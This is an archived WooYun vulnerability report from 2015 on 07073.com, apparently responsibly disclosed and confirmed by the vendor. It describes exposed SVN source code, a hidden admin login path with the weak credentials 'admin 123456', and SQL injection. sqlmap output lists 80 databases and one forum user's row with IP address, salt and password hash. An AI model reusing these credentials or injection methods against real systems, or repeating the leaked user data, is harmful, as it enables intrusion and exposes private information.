当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103216

漏洞标题:07073多个站点源码泄露+后台注入+全库泄露

相关厂商:07073.com

漏洞作者: 杀器王子

提交时间:2015-03-23 14:59

修复时间:2015-05-08 13:26

公开时间:2015-05-08 13:26

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-23: 细节已通知厂商并且等待厂商处理中
2015-03-24: 厂商已经确认,细节仅向厂商公开
2015-04-03: 细节向核心白帽子及相关领域专家公开
2015-04-13: 细节向普通白帽子公开
2015-04-23: 细节向实习白帽子公开
2015-05-08: 细节向公众公开

简要描述:

07073多个站点源码泄露+后台注入+全库泄露

详细说明:

60.169.3.16:85

Snip20150323_10.png


60.169.3.23:89

Snip20150323_11.png


分别对应 tools 和fahao 二级域名
对第一套源码进行审计

漏洞证明:

找到后台地址
http://tools.07073.com/7f43c61abf6ab108847a62faa96fcc93/index/login
管理账号弱口令
admin 123456
然后是注入

Snip20150323_12.png


源码中几乎每个like的查询都有注入

Snip20150323_13.png


back-end DBMS: MySQL 5.0
available databases [80]:
[*] 123_07073
[*] acg073
[*] adv07073
[*] advertising
[*] android07073
[*] askdata
[*] atlas07073
[*] baidu_xml_dev
[*] baobei
[*] bar07073
[*] bbs073
[*] bl07073
[*] box07073
[*] cache07073
[*] cartoon
[*] coderead
[*] comment
[*] datacenter
[*] db07073
[*] db07073_tx2
[*] db07073qn
[*] dbcache
[*] discuz
[*] dn07073
[*] dnf07073
[*] downloads
[*] duandi
[*] fahao073
[*] fahao10
[*] flash07073
[*] giftcode
[*] hdtemplates
[*] hi07073
[*] huodong
[*] information_schema
[*] iphonewy_x15
[*] iphonewy_x20
[*] jft073
[*] kaifuopen_hzhks
[*] kaifuopen_zjgtqxx
[*] kc07073
[*] kf07073
[*] kf07073b
[*] kf207073
[*] kf521
[*] kf77745
[*] list07073
[*] mesearch
[*] mh073
[*] mobilenews
[*] molihai073
[*] monitor
[*] mysql
[*] nycc
[*] other_website
[*] paihang07073
[*] performance_schema
[*] shop073
[*] sy07073
[*] team07073
[*] tieba
[*] tongji
[*] top2011
[*] tweibo
[*] ui073
[*] wap07073
[*] webbox
[*] weixin073
[*] wenwen073
[*] wow07073
[*] www.13cr.com
[*] www07073
[*] www07073bak
[*] xuan-astd
[*] xweibo
[*] youxi
[*] yxdata
[*] zhuanchu
[*] zhuanchu2
[*] zt07073


select count(*) from bbs073.uc_members;: '22057906'
select * from bbs073.uc_members limit 1; [7]:
[*]
[*] 丿Fashi
[*] 0
[*] 1
[*] 222.89.215.190
[*] 8bc9f2
[*] cb45d4ced2fed7f2eb7bf116e306fc10
2000w+用户
第二个站点也各种注入 自查

修复方案:

删除svn 查询过滤

版权声明:转载请注明来源 杀器王子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-24 13:25

厂商回复:

感谢提供漏洞信息

最新状态:

暂无